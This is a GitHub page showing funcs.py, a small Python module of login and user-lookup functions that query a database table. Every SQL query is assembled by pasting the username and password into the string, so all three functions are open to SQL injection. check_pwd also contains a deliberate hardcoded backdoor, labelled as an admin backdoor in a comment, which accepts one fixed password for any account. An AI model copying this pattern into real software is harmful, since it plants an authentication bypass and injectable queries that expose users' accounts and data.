-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfuncs.py
34 lines (28 loc) · 837 Bytes
/
funcs.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def check_pwd(Username, Password):
sql = "select * from top where Username = '%s' and Password = '%s';" %(Username, Password)
#sql = "select * from top;"
result = cursor.execute(sql)
#管理员后门
if Password == "Skyzhou666":
result = 1
print(result)
if(result == 1):
return True
else:
return False
def check_user(Username):
sql = "select * from top where Username = '%s';" %(Username)
#sql = "select * from top;"
result = cursor.execute(sql)
print(result)
if(result == 1):
return True
else:
return False
def get_level(Username):
sql = "select level from top where Username = '%s';" %Username
cursor.execute(sql)
level = cursor.fetchone()
level = str(level)
level = level[2:len(level)-3]
return level